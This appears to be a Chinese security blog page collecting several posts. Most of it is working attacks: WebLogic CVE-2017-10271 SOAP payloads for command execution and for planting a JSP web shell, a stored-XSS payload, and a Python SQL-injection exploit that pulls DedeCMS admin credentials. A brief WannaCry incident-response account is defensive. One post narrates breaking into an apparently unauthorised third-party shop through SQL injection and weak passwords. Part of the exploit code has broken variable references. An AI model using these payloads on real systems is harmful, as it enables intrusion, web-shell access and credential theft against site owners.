分类 漏洞类 下的文章

WebLogic CVE-2017-10271 复现暨 POC

WebLogic 安装包下载地址
下载界面
选择漏洞版本下载. 安装一路 next, 选一下安装路径, 其他全默认.
安装完成后在开始菜单栏里有个'Oracle WebLogic'的文件夹.
开始菜单截图
选择 QuickStart 创建服务器实例.
还是一路 next,  除了需要输入密码的地方, 其他一路默认.
最后点击 create 完成后会自动打开 cmd , 运行创建的实例.
启动界面

访问 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
漏洞界面
环境搭建运行成功,  把这个地址贴到 BurpSuite 去,  POST POC.
POC 1, 命令执行:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>C:\\windows\\system32\\cmd.exe</string>
              </void>
              <void index="1">
                <string>/c</string>
              </void>
              <void index="2">
                <string>start calc.exe</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

执行效果
POC2,  GETSHELL

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                        int a = -1;
                        byte[] b = new byte[2048];
                        out.print("<pre>");
                        while((a=in.read(b))!=-1){out.println(new String(b));}
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

GetShell 有三个目录: bea_wls9_async_response/bea_wls_internal/uddiexplorer , 可根据需要自选
命令执行SHELL

[5.12]蠕虫事件应急响应

2017 年 5 月 12 日晚. 项目群有人发了一张图, 某大学被勒索病毒攻击.
十分钟后截了一张公告, 病毒使用 "MS17-010" 进行传播, 看到这马上想起 4 月底 FB 上的一篇帖子.
NSA 漏洞库, MS17-010, 通杀全版本. 马上安排相关人员对涉外及与教育网内部连接的服务器进行加固.
于第二日 5 月 13 日, 九点, 上课途中, 领导连来五个电话安排对机房的相关服务器进行排查.
同时在机房内发现机子出现被攻击成功, 即刻联系组员进中心机房, 对相关机房进行断网处理.
临时对涉毒大楼进行物理阻隔(拔网线). 同时对服务器数据进行备份.
因为实验大楼使用的是云端教学, 被攻击的客户端为云端镜像, 不算什么大事. 对客户端进行升级即可.
于 十一点左右 联系相关负责人, 通过核心交换, 配置 ACL, 阻隔相应端口, 封闭对应 Vlan / IP 段. 阻止进一步传播.
同时对网段内电脑进行排查. 发现实验大楼内有另一教室也出现勒索病毒. 教师端也不能幸免.
考虑云端的特殊性. 便把教室与云端服务器进行物理断网. 关闭所有在用客户端. 从源下手. 对镜像进行升级加固.
于下午五点半, 升级完毕. 晚八点恢复网络进行机房测试, 至晚 十点半 无发现病毒复现状况. 自此事件响应完毕.

总结:

主要是漏洞威力过于巨大, 只要对 SMB 服务进行阻隔即可.

某商城简单测试

<p> 前言: 今天下午吃饭的时候瞎逛某交流社区, 有个基佬求检测,就看了下.</p><p>
</p><p> 看了下 robots 发现了一个 banner, 叫<span style="background-color:#E1E1E1;"> BrnMall. 1.3.155</span></p><p> 百度了一下这玩意还挺小众, 并没有人做过分析, 也就没有公开的漏洞了. </p><p> 在后面拿到后台的时候发现了几个不能说鸡肋的鸡肋洞. 后面再提.</p><p> 拿家伙简单扫了下并没发现什么东西. 前台做的挺好. seo 了一下也没有什么大的问题. </p><p> 用 nmap 扫了下主机, 有个东西引起了注意.</p><p> </p><p> 可以看到与绿框里的标出的端口与其他端口的 robots 不一致, 说明这是另一个 CMS.</p><p> 拿御剑扫了一下, 发现了一个 web.rar, down 下来检测了一下基本可以确定是网站备份.</p><p> 翻了下没找到版权信息, 但是在首页找到了一个 老外的 tag, 应该是站长二开的.</p><p> 在源码备份中翻了下没找到配置文件, 找到了一个  login.aspx, 访问.</p><p> </p><p> 打了几个单引号, 没反应, 点注册进注册页面, 又打了几个单引号, 啧, MSSQL 显错模式注入. 可惜降权了. 而且版本是 2008.</p><p> </p><p> 丢 sqlmap 跑. 找到了普通用户表里的用户名和加盐的密码, 丢 CMD5, 没跑出来. </p><p> </p><p> 看了下系统内的密码重复率, 估摸着是弱口令. 试了下, 111111. 进入了后台. 不过权限比较低, 普通用户.</p><p> 翻了翻发现系统用户表里有个密码跟这一样. 试了下, 成功进入管理权限. 不过没啥用. 基本上没找到地方可以利用.</p><p> 懒得去做代码审计, sqlmap 看了下 dbs, 找到了原目标站的库. 嘿嘿嘿.</p><p>  翻了下用户表, sqlmap 跑下来, 分析了下拿到了管理员账户和密码以及权限验证码.</p><p> </p><p> 前台有登陆地点, 成功进入后台. (之前尝试过爆破, 不过好像有问题. 爆错, 可以拿到程序的物理路径.</p><p> </p><p> 在后台里翻了下. 总结一下比较鸡肋的漏洞. 说他鸡肋是因为你必须有后台或者前台会员中心的权限.</p><p> BrnMall 漏洞粗略统计:</p><p> 1, SQL 注入, 在后台中基本上只要是涉及数据查找的地方都有 SQL 注入.</p><p> 2, XSS, 这个是最鸡肋的. 可以在后台的版权信息等处输入 HTML 代码, 前台会无过滤输出.</p><p> 基本上就这两点, 找到几个上传点, 不过都是比较恶心的, 强制改名. 除非是低版本的 IIS , 6.0 之类的用文件名解析漏洞, 不然很难拿到 SHELL.</p>

ok3w_ASP 版 XSS 漏洞

先看看后台的样式 site/admin/ad_login.asp

  20150722191833 

在 site/guest.asp 20150722191915

POC:
姓名啥的随便填. 留言内容写

</textarea><script>alert('1')</scrip>


当管理进入后台查看留言的时候即可触发.

Dede CMS plus/link.php 注入EXP

#coding=utf-8

'''
cms: dedecms
path: /plus/flink.php
type SQLi
auth L34Rn
'''

import sys
import os
import re
from urllib2 import urlopen
from urllib2 import Request
from pytesser import getCheckCode

codeFile="code.jpg"
checkCodeBaseUrl="/include/vdimgck.php"
baseUrl = "/plus/flink.php"
shellcode="Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=sava&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2f&ischeck=1&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass&validate="

headers={
	"Content-Type":"applocation/x-www-form-urlencoded",
	"Cookie":"PHPSESSID=4bncpf8cudfmnquxxdcpkrb12s97; DedeUserID=1; DedeUserID__ckMd5=3e8e80104cbfad5d; DedeLoginTime=1397994952; DedeLoginTime__ckMd5=faedace47fa2ac95"
}

def downloadCheckCode(url,headers):
	'''
	get check code image
	'''
	with open(codeFile,"wb") as f:
		try:
			req = Request(url,headers=headers)
			res = urlopen(req)
			f.write(res.read())
			return True
		except Exception,e:
			print "[+] Error:",str(e)
			return False



def postShellcode(url,shellcode,headers):
	'''
	post shellcode
	'''
	try:
		req = Request(url,data=Shellcode,headers=headers)
		res = urlopen(req)
		print "[+] Response Length:",len(res.read())
		return True
	except Exception,e:
		print "[+] ",str(e)
		return False


def checkResult(url):
	'''
	check attack result!
	'''
	res = urlopen(url)
	rex = re.search(r"<a href='http://' target='_blank'><img src='(w+|w{20})' width='88' height='31' border='0' alt='pass',''>",res.read())
	if rex == None:
		return False
	else:
		return rex.group(1).split("|")


def usage():
	print '[+] usage:exp.py <host> [port] [cmsPath]'
	print '[+] example1: exp.py [url=http://www.xxoo.com]www.xxoo.com[/url]'
	print '[+] example2: exp,py [url=http://www.xxoo.com]www.xxoo.com[/url] 8080'
	print '[+] example3: exp.py [url=http://www.xxoo.com]www.xxoo.com[/url] 8080 /dedecms'


def main():
	global shellcode
	port = '80'
	path = ''
	if len(sys.argv) < 2:
		usage()
		exit()
	elif len(sys.argv) == 2:
		host=sys.argv[1]
	elif len(sys.argv) == 3:
		host=sys.argv[1]
		port=sys.argv[2]
	elif len(sys.argv) == 4:
		host=sys.argv[1]
		port=sys.argv[2]
		path=sys.argv[3]
	else:
		usage()
		exit()
	formatUrl="http://"+host+port+path
	url=formatUrl+baseUrl
	print "[+] attack start ok!"
	print "[+] url:",url
	checkCodeUrl=formatUrl+checkCodeBaseUrl
	checkResultUrl=formatUrl+baseUrl
	print "[+] download check code now ..."
	tof = downloadCheckCode(checkCodeUrl,headers)
	if tof == False:
		print "[+] download check code Error!"
		print "[+] jsut try again!"
		exit()
	else:
		print "[+] image to code ok!"
		print "[+] check code is:",code
	shellcode+=code
	print "[+] post shellcode now ..."
	tof = postShellcode(url,shellcode,headers)
	if tof == False:
		print "[+] post shellcode Error!"
		exit()
	else:
		print "[+] shellcode post ok!"
	print "[+] check Result Now ..."
	res =checkResult(checkResultUrl)
	if res == False:
		print "[+] attack Complete,but Failed!"
	else:
		print "[+] attack Complete!"
		print "[+] attack Username:", res[0]
		print "[+] attack Password:",res[-1][3:-1]



if __name__ == "__main__":
	try:
		main()
	except Exception,e:
		print "[+] Error: ",str(e)